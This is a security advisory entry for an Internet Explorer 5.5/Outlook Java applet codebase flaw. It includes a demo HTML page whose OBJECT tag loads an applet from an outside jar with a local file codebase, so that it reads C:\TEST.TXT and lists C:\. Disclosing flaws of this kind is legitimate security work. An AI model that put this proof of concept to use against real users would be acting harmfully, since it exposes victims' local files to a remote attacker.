source: http://www.securityfocus.com/bid/1812/info

An attacker may gain read access on remote systems by specifying a custom codebase in a Java applet, and delivering to the victim(s) via HTML email or a website. Any arbitrary codebase can be referenced by a java applet that was loaded by an <OBJECT> tag in conjunction with a jar file when using Microsoft Internet Explorer or Outlook/Outlook Express. This allows for the possibility of any known file to be read by a remote attacker.

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Demo - IE 5.5/Outlook java security vulnerability - reading arbitrary local files and URLs
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Demo - IE 5.5/Outlook java security vulnerability - reading arbitrary local files and URLs
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This page reads C:\TEST.TXT and displays the directory listing of C:\
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<A HREF="javacodebase1-desc.html">Advisory</A>
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<OBJECT CLASSID="JAVA:gjavacodebase.class" WIDTH=590>
<PARAM NAME="ARCHIVE" VALUE="http://www.guninski.com/gjavacodebase.jar">
<PARAM NAME="CODEBASE" VALUE="file:///c:/">
<PARAM NAME="URL" VALUE="file:///c:/test.txt">
</OBJECT>


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